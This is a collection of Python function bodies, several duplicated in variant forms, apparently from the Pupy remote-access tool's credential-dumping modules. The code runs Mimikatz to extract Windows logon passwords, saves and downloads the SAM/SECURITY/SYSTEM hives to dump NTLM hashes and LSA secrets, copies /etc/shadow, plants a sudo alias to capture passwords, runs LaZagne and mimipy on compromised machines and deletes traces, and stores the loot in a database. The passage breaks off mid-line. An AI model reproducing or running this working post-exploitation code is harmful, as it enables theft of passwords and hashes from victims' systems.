def run(self, args): if args.action=="start": if not self.client.conn.modules["sudo_alias"].sudo_alias_start(): self.error("the alias already exists") else: self.success("the alias has been created. Waiting for a user to run a sudo command...") elif args.action=="dump": data = self.client.conn.modules["sudo_alias"].sudo_alias_dump() if not data: self.error("nothing find, be patient !") else: self.success("Sudo password found: %s" % data) # add password to the database username = data.split('/')[0] password = data.replace(username, '')[1:] db = Credentials(client=self.client.short_name(), config=self.config) db.add([{ 'Login': username, 'password':password, 'CredType': 'plaintext', 'Category': 'System password' }]) self.success("Credentials stored on the database") elif args.action=="stop": if not self.client.conn.modules["sudo_alias"].sudo_alias_stop(): self.error('the alias has not been created yet (run start)') else: self.success('everyhing has been stopped and cleaned')
def run(self, args): # check if windows 8.1 or Win2012 => reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 script = 'mimikatz' # check if file has been already uploaded to the target for arch in ['x64', 'x86']: if script not in self.client.powershell[arch]['scripts_loaded']: content = open( os.path.join(ROOT, "external", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"), 'r').read() else: content = '' output = execute_powershell_script(self, content, args.command, x64IfPossible=True, script_name=script) if not output: self.error("Error running mimikatz. Enough privilege ?") return self.success("%s" % output) creds = self.parse_mimikatz(output) db = Credentials() db.add(creds) self.success("Credentials stored on the database")
def run(self, args): # for windows 10, if the UseLogonCredential registry is not present or disable (equal to 0), not plaintext password can be retrieved using mimikatz. if args.wdigest: self.client.load_package("pupwinutils.wdigest") ok, message = self.client.conn.modules["pupwinutils.wdigest"].wdigest(args.wdigest) if ok: self.success(message) else: self.warning(str(message)) return script ='mimikatz' # check if file has been already uploaded to the target for arch in ['x64', 'x86']: if script not in self.client.powershell[arch]['scripts_loaded']: content = open(os.path.join(ROOT, "external", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"), 'r').read() else: content = '' output = execute_powershell_script(self, content, args.command, x64IfPossible=True, script_name=script) if not output: self.error("Error running mimikatz. Enough privilege ?") return self.success("%s" % output) creds = self.parse_mimikatz(output) db = Credentials() db.add(creds) self.success("Credentials stored on the database")
def run(self, args): if args.action == "start": if not self.client.conn.modules["sudo_alias"].sudo_alias_start(): self.error("the alias already exists") else: self.success( "the alias has been created. Waiting for a user to run a sudo command..." ) elif args.action == "dump": data = self.client.conn.modules["sudo_alias"].sudo_alias_dump() if not data: self.error("nothing find, be patient !") else: self.success("Sudo password found: %s" % data) # add password to the database username = data.split('/')[0] password = data.replace(username, '')[1:] db = Credentials(client=self.client.short_name(), config=self.config) db.add([{ 'Login': username, 'password': password, 'CredType': 'plaintext', 'Category': 'System password' }]) self.success("Credentials stored on the database") elif args.action == "stop": if not self.client.conn.modules["sudo_alias"].sudo_alias_stop(): self.error('the alias has not been created yet (run start)') else: self.success('everyhing has been stopped and cleaned')
def linux(self): known = set() hashes = [] def add_hashes(line): user, hsh, rest = line.split(":", 2) if not hsh in ("!", "*", "x") and not (user, hsh) in known: known.add((user, hsh)) hashes.append(line) try: passwd = os.path.join(self.rep, "passwd") download(self.client.conn, "/etc/passwd", passwd) with open(passwd, "r") as fpasswd: for line in fpasswd.readlines(): add_hashes(line) except Exception as e: self.error("/etc/passwd is not accessible: {}".format(e)) try: shadow = os.path.join(self.rep, "shadow") download(self.client.conn, "/etc/shadow", shadow) with open(shadow, "r") as fshadow: for line in fshadow.readlines(): add_hashes(line) except Exception as e: self.error("/etc/shadow is not accessible: {}".format(e)) self.client.load_package("pupyutils.safepopen") sopen = self.client.conn.modules["pupyutils.safepopen"].SafePopen try: with open(os.path.join(self.rep, "getent.passwd"), "w") as passwd: for line in sopen(["getent", "passwd"]).execute(): if line: add_hashes(line) except Exception as e: self.error("getent passwd failed: {}: {}".format(type(e), e.message)) try: with open(os.path.join(self.rep, "getent.shadow"), "w") as shadow: for line in sopen(["getent", "shadow"]).execute(): if line: add_hashes(line) except Exception as e: self.error("getent shadow failed: {}: {}".format(type(e), e.message)) db = Credentials() db.add([{"hashes": hsh, "Tool": "Creddump", "uid": self.client.short_name()} for hsh in hashes]) for hsh in hashes: self.log("{}".format(hsh))
def run(self, args): # for windows 10, if the UseLogonCredential registry is not present or disable (equal to 0), not plaintext password can be retrieved using mimikatz. if args.wdigest: ok, message = self.client.conn.modules["pupwinutils.wdigest"].wdigest(args.wdigest) if ok: self.success(message) else: self.warning(str(message)) return proc_arch = self.client.desc["proc_arch"] mimikatz_path = None output = '' if "64" in proc_arch: mimikatz_path = self.client.pupsrv.config.get("mimikatz","exe_x64") else: mimikatz_path = self.client.pupsrv.config.get("mimikatz","exe_Win32") if not os.path.isfile(mimikatz_path): self.error("Mimikatz exe %s not found ! please edit Mimikatz section in pupy.conf"%mimikatz_path) else: mimikatz_args = args.args interactive = False if not mimikatz_args: interactive = True else: mimikatz_args.append('exit') if args.logonPasswords: mimikatz_args = ['privilege::debug', 'sekurlsa::logonPasswords', 'exit'] interactive = True output = exec_pe(self, mimikatz_args, path=mimikatz_path, interactive=interactive) try: from pykeyboard import PyKeyboard k = PyKeyboard() k.press_key(k.enter_key) k.release_key(k.enter_key) except: pass # store credentials into the database if output: try: creds = self.parse_mimikatz(output) db = Credentials(client=self.client.short_name(), config=self.config) db.add(creds) self.success("Credentials stored on the database") except: self.error('No credentials stored in the database')
def darwin(self): self.client.load_package("hashdump") hashes = self.client.conn.modules["hashdump"].hashdump() if hashes: db = Credentials() db.add([ {'Hash':hsh[1], 'Login': hsh[0], 'Category': 'System hash', 'uid':self.client.short_name(), 'CredType': 'hash'} for hsh in hashes ]) for hsh in hashes: self.log('{}'.format(hsh)) self.success("Hashes stored on the database") else: self.error('no hashes found')
def run(self, args): platform=self.client.desc["platform"] isWindows = True if "Windows" in platform: lazagne_path = self.client.pupsrv.config.get("lazagne","win") elif "Linux" in platform: isWindows = False if "64" in self.client.desc["os_arch"]: lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64") else: lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32") else: self.error("Platform not supported") return if not os.path.isfile(lazagne_path): self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path) self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases') return tf = tempfile.NamedTemporaryFile() dst = tf.name if isWindows: remoteTempFolder = self.client.conn.modules['os.path'].expandvars("%TEMP%") tfName = tf.name.split(os.sep) tfName = tfName[len(tfName)-1] + '.exe' dst = self.client.conn.modules['os.path'].join(remoteTempFolder, tfName) tf.file.close() self.success("Uploading laZagne to: %s" % dst) upload(self.client.conn, lazagne_path, dst) if not isWindows: self.success("Adding execution permission") cmd = ["chmod", "+x", dst] output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("Executing") cmd = [dst, "all"] output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("%s" % output) creds = self.parse_output(output) db = Credentials() db.add(creds) self.success("Passwords stored on the database") self.success("Cleaning traces") self.client.conn.modules['os'].remove(dst)
def run(self, args): found=False db = Credentials(client=self.client, config=self.config) for t, process, u, passwd in self.client.conn.modules['mimipy'].mimipy_loot_passwords(optimizations="nsrx", clean=False): cred={ 'Password': passwd, 'Login': u, 'Host': process, 'Category': 'Mimipy: %s'%t, 'CredType': 'password' } self.success('\n\t'.join(["%s: %s"%(i,v) for i,v in cred.iteritems()])+"\n\n") db.add([cred]) found=True if not found: self.success("no password found :/")
def run(self, args): # check if windows 8.1 or Win2012 => reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 content = open(os.path.join(ROOT, "external", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"), 'r').read() function = 'Invoke-Mimikatz' output = execute_powershell_script(self, content, function, x64IfPossible=True) if not output: self.error("Error running mimikatz. Enough privilege ?") return self.success("%s" % output) creds = self.parse_mimikatz(output) db = Credentials() db.add(creds) self.success("Credentials stored on the database")
def run(self, args): found=False db = Credentials(client=self.client.short_name(), config=self.config) for t, process, u, passwd in self.client.conn.modules['mimipy'].mimipy_loot_passwords(optimizations="nsrx", clean=False): cred={ 'Password': passwd, 'Login': u, 'Host' : process, 'Category': 'Mimipy: %s'%t, 'CredType': 'password' } self.success('\n\t'.join(["%s: %s"%(i,v) for i,v in cred.iteritems()])+"\n\n") db.add([cred]) found=True if not found: self.success("no password found :/")
def darwin(self): self.client.load_package("hashdump") hashes = self.client.conn.modules["hashdump"].hashdump() if hashes: db = Credentials() db.add([{ 'Hash': hsh[1], 'Login': hsh[0], 'Category': 'System hash', 'uid': self.client.short_name(), 'CredType': 'hash' } for hsh in hashes]) for hsh in hashes: self.log('{}'.format(hsh)) self.success("Hashes stored on the database") else: self.error('no hashes found')
def run(self, args): # for windows 10, if the UseLogonCredential registry is not present or disable (equal to 0), not plaintext password can be retrieved using mimikatz. if args.wdigest: self.client.load_package("pupwinutils.wdigest") ok, message = self.client.conn.modules[ "pupwinutils.wdigest"].wdigest(args.wdigest) if ok: self.success(message) else: self.warning(str(message)) return script = 'mimikatz' # check if file has been already uploaded to the target for arch in ['x64', 'x86']: if script not in self.client.powershell[arch]['scripts_loaded']: content = open( os.path.join(ROOT, "external", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"), 'r').read() else: content = '' output = execute_powershell_script(self, content, args.command, x64IfPossible=True, script_name=script) if not output: self.error("Error running mimikatz. Enough privilege ?") return self.success("%s" % output) creds = self.parse_mimikatz(output) db = Credentials() db.add(creds) self.success("Credentials stored on the database")
def run(self, args): proxy = None if args.proxy and re.match('^https?://[0-9\.]+:[0-9]{1,5}$', args.proxy): proxy = {'http': args.proxy, 'https': args.proxy} elif args.proxy: print '[!] Invalid proxy, must be http(s)://x.x.x.x:8080' return custom_cred = None if args.creds: custom_cred = self.get_custom_creds(args.creds) if not custom_cred: return targets_list = self.build_targets_list(target=args.target, file=args.targets) if targets_list: # Load credential locally from filesystem root = os.path.join(ROOT, "external", "changeme") creds = changeme_creds().load_creds(root, args.protocol, args.name, args.category) # Run main function pwd_found = self.client.conn.modules["changeme.core"].run_changeme( protocol=args.protocol, category=args.category, name=args.name, targets=targets_list, port=args.port, ssl=args.ssl, proxy=proxy, log=args.log, verbose=args.verbose, debug=args.debug, timeout=args.timeout, useragent=args.useragent, delay=args.delay, creds=creds, custom_creds=custom_cred) if pwd_found: db = Credentials(client=self.client.short_name(), config=self.config) clean_creds = [] for pwd in pwd_found: self.success('%s' % pwd['name']) self.success('URL: %s' % pwd['url']) self.success('%s/%s' % (pwd['username'], pwd['password'])) clean_cred = {} clean_cred['Category'] = '%s' % pwd['name'] clean_cred['CredType'] = 'plaintext' clean_cred['URL'] = pwd['url'] clean_cred['Login'] = pwd['username'] clean_cred['Password'] = pwd['password'] clean_creds.append(clean_cred) print try: db.add(clean_creds) self.success("Passwords stored on the database") except Exception, e: print e else: self.warning('passwords not found')
class CredDump(PupyModule): """ download the hives from a remote windows system and dump creds """ def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='hive', description=self.__doc__) def run(self, args): config = self.client.pupsrv.config or PupyConfig() self.db = Credentials(client=self.client.short_name(), config=self.config) self.rep = os.path.join(config.get_folder('creds'), self.client.short_name()) try: os.makedirs(self.rep) except Exception: pass if self.client.is_windows(): self.windows() elif self.client.is_linux(): self.linux() elif self.client.is_darwin(): self.darwin() def darwin(self): self.client.load_package("hashdump") hashes = self.client.conn.modules["hashdump"].hashdump() if hashes: self.db.add([{ 'Hash': hsh[1], 'Login': hsh[0], 'Category': 'System hash', 'CredType': 'hash' } for hsh in hashes]) for hsh in hashes: self.log('{}'.format(hsh)) self.success("Hashes stored on the database") else: self.error('no hashes found') def linux(self): known = set() hashes = [] def add_hashes(line): user, hsh, rest = line.split(':', 2) if not hsh in ('!', '*', 'x') and not (user, hsh) in known: known.add((user, hsh)) hashes.append(line) try: passwd = os.path.join(self.rep, 'passwd') download(self.client.conn, '/etc/passwd', passwd) with open(passwd, 'r') as fpasswd: for line in fpasswd.readlines(): add_hashes(line) except Exception as e: self.error('/etc/passwd is not accessible: {}'.format(e)) try: shadow = os.path.join(self.rep, 'shadow') download(self.client.conn, '/etc/shadow', shadow) with open(shadow, 'r') as fshadow: for line in fshadow.readlines(): add_hashes(line) except Exception as e: self.error('/etc/shadow is not accessible: {}'.format(e)) rsubprocess = self.client.conn.modules.subprocess try: with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd: for line in rsubprocess.check_output('getent passwd', shell=True).split('\n'): if not line: continue add_hashes(line) passwd.write(line + '\n') except Exception as e: self.error('getent passwd failed: {}: {}'.format( type(e), e.message)) try: with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow: for line in rsubprocess.check_output('getent shadow', shell=True).split('\n'): if not line: continue add_hashes(line) shadow.write(line + '\n') except Exception as e: self.error('getent shadow failed: {}: {}'.format( type(e), e.message)) self.db.add([{ 'Hash': ':'.join(hsh.split(':')[1:]), 'Login': hsh.split(':')[0], 'Category': 'Shadow hash', 'CredType': 'hash' } for hsh in hashes]) for hsh in hashes: self.log('{}'.format(hsh)) self.success("Hashes stored on the database") def windows(self): # First, we download the hives... #detect windows version is_vista = False try: if self.client.conn.modules['sys'].getwindowsversion()[0] >= 6: is_vista = True self.info("windows > vista detected") else: self.info("windows < vista detected") except: self.warning( "windows version couldn't be determined. supposing vista=False" ) self.success("saving SYSTEM hives in %TEMP%...") cmds = ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM", "reg save HKLM\\SECURITY %TEMP%/SECURITY", "reg save HKLM\\SAM %TEMP%/SAM") if is_vista: cmds = (x + ' /y' for x in cmds) for cmd in cmds: self.info("running %s..." % cmd) self.log(shell_exec(self.client, cmd)) self.success("hives saved!") remote_temp = self.client.conn.modules['os.path'].expandvars("%TEMP%") self.info("downloading SYSTEM hive...") download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"), os.path.join(self.rep, "SYSTEM")) self.info("downloading SECURITY hive...") download(self.client.conn, ntpath.join(remote_temp, "SECURITY"), os.path.join(self.rep, "SECURITY")) self.info("downloading SAM hive...") download(self.client.conn, ntpath.join(remote_temp, "SAM"), os.path.join(self.rep, "SAM")) self.success("hives downloaded to %s" % self.rep) # Cleanup self.success("cleaning up saves...") try: self.client.conn.modules.os.remove( ntpath.join(remote_temp, "SYSTEM")) self.client.conn.modules.os.remove( ntpath.join(remote_temp, "SECURITY")) self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM")) self.success("saves deleted") except Exception as e: self.warning("error deleting temporary files: %s" % str(e)) # Time to run creddump! hashes = [] # HiveFileAddressSpace - Volatilty sysaddr = HiveFileAddressSpace(os.path.join(self.rep, "SYSTEM")) secaddr = HiveFileAddressSpace(os.path.join(self.rep, "SECURITY")) samaddr = HiveFileAddressSpace(os.path.join(self.rep, "SAM")) # Print the results self.success("dumping cached domain passwords...") for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista): self.log("%s:%s:%s:%s" % (u.lower(), h.encode('hex'), d.lower(), dn.lower())) hashes.append({ 'Login': u.lower(), 'Hash': "%s:%s:%s" % (h.encode('hex'), d.lower(), dn.lower()), 'Category': 'MSCACHE hash', 'CredType': 'hash' }) self.success("dumping LM and NT hashes...") bootkey = get_bootkey(sysaddr) hbootkey = get_hbootkey(samaddr, bootkey) for user in get_user_keys(samaddr): lmhash, nthash = get_user_hashes(user, hbootkey) if not lmhash: lmhash = empty_lm if not nthash: nthash = empty_nt self.log("%s:%d:%s:%s:::" % (get_user_name(user), int( user.Name, 16), lmhash.encode('hex'), nthash.encode('hex'))) hashes.append({ 'Login': get_user_name(user), 'Hash': "%s:%s" % (lmhash.encode('hex'), nthash.encode('hex')), 'Category': 'NTLM hash', 'CredType': 'hash' }) self.db.add(hashes) self.success("Hashes stored on the database") self.success("dumping lsa secrets...") secrets = get_file_secrets(os.path.join(self.rep, "SYSTEM"), os.path.join(self.rep, "SECURITY"), is_vista) if not secrets: self.error( "unable to read LSA secrets, perhaps the hives are corrupted") return for key in secrets: self.log(key) self.log(self.dump(secrets[key], length=16)) # The End! (hurrah) self.success("dump was successfull!") def dump(self, src, length=8): FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)]) N = 0 result = '' while src: s, src = src[:length], src[length:] hexa = ' '.join(["%02X" % ord(x) for x in s]) s = s.translate(FILTER) result += "%04X %-*s %s\n" % (N, length * 3, hexa, s) N += length return result
def run(self, args): platform = self.client.desc["platform"] if "Windows" in platform: if "64" in self.client.desc["proc_arch"]: arch = "amd64" else: arch = "x86" # load all dependency self.client.load_dll( os.path.abspath( os.path.join(os.path.dirname(__file__), "..", "packages", "windows", arch, "sqlite3.dll"))) self.client.load_package("sqlite3") self.client.load_package("_sqlite3") self.client.load_package("xml") self.client.load_package("_elementtree") self.client.load_package( "pyexpat") # needed for _elementtree module self.client.load_package("win32crypt") self.client.load_package("win32api") self.client.load_package("win32con") self.client.load_package("win32cred") self.client.load_package("colorama") self.client.load_package("impacket") self.client.load_package("calendar") self.client.load_package("win32security") self.client.load_package("win32net") self.client.load_package("lazagne") db = Credentials() passwordsFound = False moduleNames = self.client.conn.modules[ "lazagne.config.manageModules"].get_modules() for module in moduleNames: if args.verbose: self.info("running module %s" % (str(module).split(' ', 1)[0].strip('<'))) passwords = module.run(module.options['dest'].capitalize()) if passwords: passwordsFound = True self.print_results(module.options['dest'].capitalize(), passwords, db) if not passwordsFound: self.warning("no passwords found !") elif "Linux" in platform: isWindows = False if "64" in self.client.desc["os_arch"]: lazagne_path = self.client.pupsrv.config.get( "lazagne", "linux_64") else: lazagne_path = self.client.pupsrv.config.get( "lazagne", "linux_32") if not os.path.isfile(lazagne_path): self.error( "laZagne exe %s not found ! please edit laZagne section in pupy.conf" % lazagne_path) self.error( 'Find releases on github: https://github.com/AlessandroZ/LaZagne/releases' ) return tf = tempfile.NamedTemporaryFile() dst = tf.name tf.file.close() self.success("Uploading laZagne to: %s" % dst) upload(self.client.conn, lazagne_path, dst) self.success("Adding execution permission") cmd = ["chmod", "+x", dst] output = self.client.conn.modules.subprocess.check_output( cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("Executing") cmd = [dst, "all"] output = self.client.conn.modules.subprocess.check_output( cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("%s" % output) creds = self.parse_output(output) db = Credentials() db.add(creds) self.success("Passwords stored on the database") self.success("Cleaning traces") self.client.conn.modules['os'].remove(dst) else: self.error("Platform not supported") return
def linux(self): known = set() hashes = [] def add_hashes(line): user, hsh, rest = line.split(':', 2) if not hsh in ('!','*','x') and not (user, hsh) in known: known.add((user, hsh)) hashes.append(line) try: passwd = os.path.join(self.rep, 'passwd') download( self.client.conn, '/etc/passwd', passwd ) with open(passwd, 'r') as fpasswd: for line in fpasswd.readlines(): add_hashes(line) except Exception as e: self.error('/etc/passwd is not accessible: {}'.format(e)) try: shadow = os.path.join(self.rep, 'shadow') download( self.client.conn, '/etc/shadow', shadow ) with open(shadow, 'r') as fshadow: for line in fshadow.readlines(): add_hashes(line) except Exception as e: self.error('/etc/shadow is not accessible: {}'.format(e)) self.client.load_package('pupyutils.safepopen') sopen = self.client.conn.modules['pupyutils.safepopen'].SafePopen try: with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd: for line in sopen(['getent', 'passwd']).execute(): if line: add_hashes(line) except Exception as e: self.error('getent passwd failed: {}: {}'.format(type(e), e.message)) try: with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow: for line in sopen(['getent', 'shadow']).execute(): if line: add_hashes(line) except Exception as e: self.error('getent shadow failed: {}: {}'.format(type(e), e.message)) db = Credentials() db.add([ {'Hash':':'.join(hsh.split(':')[1:]), 'Login': hsh.split(':')[0], 'Category': 'Shadow hash', 'uid':self.client.short_name(), 'CredType': 'hash'} for hsh in hashes ]) for hsh in hashes: self.log('{}'.format(hsh)) self.success("Hashes stored on the database")
def windows(self): # First, we download the hives... #detect windows version is_vista=False try: if self.client.conn.modules['sys'].getwindowsversion()[0] >=6: is_vista=True self.info("windows > vista detected") else: self.info("windows < vista detected") except: self.warning("windows version couldn't be determined. supposing vista=False") self.success("saving SYSTEM hives in %TEMP%...") cmds = ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM", "reg save HKLM\\SECURITY %TEMP%/SECURITY", "reg save HKLM\\SAM %TEMP%/SAM") if is_vista: cmds = ( x+' /y' for x in cmds ) for cmd in cmds: self.info("running %s..." % cmd) self.log(shell_exec(self.client, cmd)) self.success("hives saved!") remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%") self.info("downloading SYSTEM hive...") download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"), os.path.join(self.rep, "SYSTEM")) self.info("downloading SECURITY hive...") download(self.client.conn, ntpath.join(remote_temp, "SECURITY"), os.path.join(self.rep, "SECURITY")) self.info("downloading SAM hive...") download(self.client.conn, ntpath.join(remote_temp, "SAM"), os.path.join(self.rep, "SAM")) self.success("hives downloaded to %s" % self.rep) # Cleanup self.success("cleaning up saves...") try: self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SYSTEM")) self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SECURITY")) self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM")) self.success("saves deleted") except Exception as e: self.warning("error deleting temporary files: %s"%str(e)) # Time to run creddump! db = Credentials() hashes = [] # HiveFileAddressSpace - Volatilty sysaddr = HiveFileAddressSpace(os.path.join(self.rep, "SYSTEM")) secaddr = HiveFileAddressSpace(os.path.join(self.rep, "SECURITY")) samaddr = HiveFileAddressSpace(os.path.join(self.rep, "SAM")) # Print the results self.success("dumping cached domain passwords...") for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista): self.log("%s:%s:%s:%s" % (u.lower(), h.encode('hex'), d.lower(), dn.lower())) hashes.append({'Login': u.lower(), 'Hash': "%s:%s:%s" % (h.encode('hex'), d.lower(), dn.lower()), 'Category': 'MSCACHE hash', 'CredType': 'hash', 'uid':self.client.short_name()}) self.success("dumping LM and NT hashes...") bootkey = get_bootkey(sysaddr) hbootkey = get_hbootkey(samaddr,bootkey) for user in get_user_keys(samaddr): lmhash, nthash = get_user_hashes(user,hbootkey) if not lmhash: lmhash = empty_lm if not nthash: nthash = empty_nt self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex'))) hashes.append({'Login': get_user_name(user), 'Hash': "%s:%s" % (lmhash.encode('hex'), nthash.encode('hex')), 'Category': 'NTLM hash', 'CredType': 'hash', 'uid':self.client.short_name()}) db.add(hashes) self.success("Hashes stored on the database") self.success("dumping lsa secrets...") secrets = get_file_secrets(os.path.join(self.rep, "SYSTEM"), os.path.join(self.rep, "SECURITY"), is_vista) if not secrets: self.error("unable to read LSA secrets, perhaps the hives are corrupted") return for key in secrets: self.log(key) self.log(self.dump(secrets[key], length=16)) # The End! (hurrah) self.success("dump was successfull!")
def run(self, args): proc_arch = self.client.desc["proc_arch"] mimikatz_path = None output = '' if '64' in self.client.desc['os_arch'] and "32" in proc_arch: self.error( "You are in a x86 process right now. You have to be in a x64 process for running Mimikatz." ) self.error( "Otherwise, the following Mimikatz error will occur after 'sekurlsa::logonPasswords':" ) self.error( "'ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process'" ) self.error("Mimikatz has not been executed on the target") return # for windows 10, if the UseLogonCredential registry is not present or disable (equal to 0), not plaintext password can be retrieved using mimikatz. if args.wdigest: ok, message = self.client.conn.modules[ "pupwinutils.wdigest"].wdigest(args.wdigest) if ok: self.success(message) else: self.warning(str(message)) return if "64" in proc_arch: mimikatz_path = self.client.pupsrv.config.get( "mimikatz", "exe_x64") else: mimikatz_path = self.client.pupsrv.config.get( "mimikatz", "exe_Win32") if not os.path.isfile(mimikatz_path): self.error( "Mimikatz exe %s not found ! please edit Mimikatz section in pupy.conf" % mimikatz_path) return mimikatz_args = args.args if not mimikatz_args: mimikatz_args = ['privilege::debug', 'sekurlsa::logonPasswords'] mimikatz_args.append('exit') if args.verbose: self.log('Execute: ' + repr(mimikatz_args)) output = exec_pe(self, mimikatz_args, path=mimikatz_path, interactive=False) if not output: self.warning('No output') return if args.verbose: self.log(output) creds = self.parse_mimikatz(output) if not creds: self.warning('No credentials found') return try: # store credentials into the database db = Credentials(client=self.client, config=self.config) db.add(creds) self.log(Table(creds, ['domain', 'login', 'hash', 'password'])) self.success("Credentials stored on the database") except: self.error('No credentials stored in the database')
def run(self, args): platform=self.client.desc["platform"] if "Windows" in platform: if "64" in self.client.desc["proc_arch"]: self.error('Not yet implemented for a x64 bits process, migrate to a 32 bits process and try again ! \nEx: run migrate -c \'C:\\Windows\\SysWOW64\\notepad.exe\'') return # load all dependency self.client.load_dll(os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "packages", "windows", "x86", "sqlite3.dll"))) self.client.load_package("sqlite3") self.client.load_package("_sqlite3") self.client.load_package("xml") self.client.load_package("_elementtree") self.client.load_package("pyexpat") # needed for _elementtree module self.client.load_package("win32crypt") self.client.load_package("win32api") self.client.load_package("win32con") self.client.load_package("win32cred") self.client.load_package("colorama") self.client.load_package("impacket") self.client.load_package("calendar") self.client.load_package("win32security") self.client.load_package("win32net") self.client.load_package("lazagne") db = Credentials() moduleNames = self.client.conn.modules["lazagne.config.manageModules"].get_modules() for module in moduleNames: if args.verbose: self.info("running module %s"%(str(module).split(' ',1)[0].strip('<'))) passwords = module.run(module.options['dest'].capitalize()) self.print_results(module.options['dest'].capitalize(), passwords, db) elif "Linux" in platform: isWindows = False if "64" in self.client.desc["os_arch"]: lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64") else: lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32") if not os.path.isfile(lazagne_path): self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path) self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases') return tf = tempfile.NamedTemporaryFile() dst = tf.name tf.file.close() self.success("Uploading laZagne to: %s" % dst) upload(self.client.conn, lazagne_path, dst) self.success("Adding execution permission") cmd = ["chmod", "+x", dst] output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("Executing") cmd = [dst, "all"] output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("%s" % output) creds = self.parse_output(output) db = Credentials() db.add(creds) self.success("Passwords stored on the database") self.success("Cleaning traces") self.client.conn.modules['os'].remove(dst) else: self.error("Platform not supported") return
def run(self, args): proxy = None if args.proxy and re.match('^https?://[0-9\.]+:[0-9]{1,5}$', args.proxy): proxy = { 'http': args.proxy, 'https': args.proxy } elif args.proxy: print '[!] Invalid proxy, must be http(s)://x.x.x.x:8080' return custom_cred = None if args.creds: custom_cred = self.get_custom_creds(args.creds) if not custom_cred: return targets_list = self.build_targets_list(target=args.target, file=args.targets) if targets_list: # Load credential locally from filesystem root = os.path.join(ROOT, "external", "changeme") creds = changeme_creds().load_creds(root, args.protocol, args.name, args.category) # Run main function pwd_found = self.client.conn.modules["changeme.core"].run_changeme( protocol=args.protocol, category=args.category, name=args.name, targets=targets_list, port=args.port, ssl=args.ssl, proxy=proxy, log=args.log, verbose=args.verbose, debug=args.debug, timeout=args.timeout, useragent=args.useragent, delay=args.delay, creds=creds, custom_creds=custom_cred ) if pwd_found: db = Credentials(client=self.client.short_name(), config=self.config) clean_creds = [] for pwd in pwd_found: self.success('%s' % pwd['name']) self.success('URL: %s' % pwd['url']) self.success('%s/%s' % (pwd['username'], pwd['password'])) clean_cred = {} clean_cred['Category'] = '%s' % pwd['name'] clean_cred['CredType'] = 'plaintext' clean_cred['URL'] = pwd['url'] clean_cred['Login'] = pwd['username'] clean_cred['Password'] = pwd['password'] clean_creds.append(clean_cred) print try: db.add(clean_creds) self.success("Passwords stored on the database") except Exception, e: print e else: self.warning('passwords not found')
def windows(self): # First, we download the hives... #detect windows version is_vista = False try: if self.client.conn.modules['sys'].getwindowsversion()[0] >= 6: is_vista = True self.info("windows > vista detected") else: self.info("windows < vista detected") except: self.warning( "windows version couldn't be determined. supposing vista=False" ) self.success("saving SYSTEM hives in %TEMP%...") cmds = ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM", "reg save HKLM\\SECURITY %TEMP%/SECURITY", "reg save HKLM\\SAM %TEMP%/SAM") if is_vista: cmds = (x + ' /y' for x in cmds) for cmd in cmds: self.info("running %s..." % cmd) self.log(shell_exec(self.client, cmd)) self.success("hives saved!") remote_temp = self.client.conn.modules['os.path'].expandvars("%TEMP%") self.info("downloading SYSTEM hive...") download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"), os.path.join(self.rep, "SYSTEM")) self.info("downloading SECURITY hive...") download(self.client.conn, ntpath.join(remote_temp, "SECURITY"), os.path.join(self.rep, "SECURITY")) self.info("downloading SAM hive...") download(self.client.conn, ntpath.join(remote_temp, "SAM"), os.path.join(self.rep, "SAM")) self.success("hives downloaded to %s" % self.rep) # Cleanup self.success("cleaning up saves...") try: self.client.conn.modules.os.remove( ntpath.join(remote_temp, "SYSTEM")) self.client.conn.modules.os.remove( ntpath.join(remote_temp, "SECURITY")) self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM")) self.success("saves deleted") except Exception as e: self.warning("error deleting temporary files: %s" % str(e)) # Time to run creddump! db = Credentials() hashes = [] # HiveFileAddressSpace - Volatilty sysaddr = HiveFileAddressSpace(os.path.join(self.rep, "SYSTEM")) secaddr = 